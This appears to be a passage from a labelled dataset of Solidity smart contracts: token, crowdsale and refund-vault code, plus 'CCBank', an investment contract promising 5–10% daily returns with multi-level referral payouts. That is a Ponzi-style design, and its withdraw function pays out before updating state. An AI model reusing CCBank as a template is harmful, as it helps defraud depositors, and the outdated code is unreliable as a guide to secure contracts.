event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 337 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableToken {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableToken() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken, OwnableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract esToken is OwnableToken, BurnableToken, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public paused = true;
mapping(address => bool) public whitelist;
modifier whenNotPaused() {
require(!paused || whitelist[msg.sender]);
_;
}
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals));
addToWhitelist(holder);
addToWhitelist(buffer);
}
function unpause() public onlyOwner {
paused = false;
}
function pause() public onlyOwner {
paused = true;
}
function addToWhitelist(address addr) public onlyOwner {
whitelist[addr] = true;
}
function removeFromWhitelist(address addr) public onlyOwner {
whitelist[addr] = false;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract esCrowdsale is CappedCrowdsale, RefundableCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
ERC20 _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
{
require(_goal <= _cap);
}
} | 0 | 1,016 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
bool isReInvest;
}
struct Plan {
uint256 dailyInterest;
uint256 term;
uint256 limit;
uint256 perInvestorLimit;
uint256 leftAmount;
uint256 lastUpdateDate;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CCBank is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 30;
uint256 public constant MARKETING_RATE = 70;
uint256 public constant REFERENCE_RATE = 80;
uint256 public constant REFERENCE_LEVEL1_RATE = 50;
uint256 public constant REFERENCE_LEVEL2_RATE = 20;
uint256 public constant REFERENCE_LEVEL3_RATE = 10;
uint256 public constant MINIMUM = 0.01 ether;
uint256 public constant REFERRER_CODE = 3466;
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address private developerAccount_;
address private marketingAccount_;
address private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0);
}
}
function checkIn() public {
}
function setMarketingAccount(address _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function setPlanLimit(uint256 _planId, uint256 _perInvestorLimit, uint256 _addAmount) public onlyOwner {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Plan storage plan = investmentPlans_[_planId];
plan.perInvestorLimit = _perInvestorLimit;
plan.leftAmount = plan.leftAmount.add(_addAmount);
plan.lastUpdateDate = block.timestamp;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan( 50, 0, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 60, 45*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 70, 25*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 80, 18*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan(100, 0, 1, 1 ether, 2000 ether, block.timestamp));
}
function getCurrentPlans() public view returns (uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory limits = new uint256[](investmentPlans_.length);
uint256[] memory perInvestorLimits = new uint256[](investmentPlans_.length);
uint256[] memory leftAmounts = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
limits[i] = plan.limit;
perInvestorLimits[i] = plan.perInvestorLimit;
leftAmounts[i] = plan.leftAmount;
}
return
(
ids,
interests,
terms,
limits,
perInvestorLimits,
leftAmounts
);
}
function addNewPlan(uint256 dailyInterest, uint256 term, uint256 limit, uint256 perInvestorLimit, uint256 leftAmount) public onlyOwner {
investmentPlans_.push(Objects.Plan(dailyInterest, term, limit, perInvestorLimit, leftAmount, block.timestamp));
}
function getTotalInvestments() public onlyOwner view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(
investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
currentDividends,
newDividends
);
}
function getInvestorPlanLimitsByUID(uint256 _uid, uint256 _planId) public view returns (uint256, uint256, uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Investor storage investor = uid2Investor[_uid];
Objects.Plan storage plan = investmentPlans_[_planId];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
if (plan.limit != 0) {
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
}
return
(
plan.limit,
plan.leftAmount,
leftInvestmentLimit
);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(
planIds,
investmentDates,
investments,
currentDividends,
isExpireds
);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount, bool isReInvest) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
} else {
}
_checkLimit(uid, _planId, _amount);
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.plans[planCount].isReInvest = isReInvest;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(uid, _amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _checkLimit(uint256 _uid, uint256 _planId, uint256 _amount) private {
Objects.Plan storage plan = investmentPlans_[_planId];
if (plan.limit > 0) {
require(plan.leftAmount >= _amount && plan.perInvestorLimit >= _amount, "1 - Not enough limit");
Objects.Investor storage investor = uid2Investor[_uid];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
require(leftInvestmentLimit >= _amount, "2 - Not enough limit");
plan.leftAmount = plan.leftAmount.sub(_amount);
}
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value, false)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value, false)) {
emit onInvest(msg.sender, msg.value);
}
}
function reinvest(uint256 _referrerCode, uint256 _planId) public payable {
require(msg.value == 0, "Reinvest doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
uint256 availableInvestAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
availableInvestAmount = availableInvestAmount.add(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends = uid2Investor[uid].plans[i].currentDividends.add(amount);
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
availableInvestAmount = availableInvestAmount.add(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (_invest(msg.sender, _planId, _referrerCode, availableInvestAmount, true)) {
emit onReinvest(msg.sender, availableInvestAmount);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount = withdrawalAmount.add(amount);
msg.sender.transfer(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _uid, uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
} | 0 | 1,275 |
pragma solidity 0.5.3;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
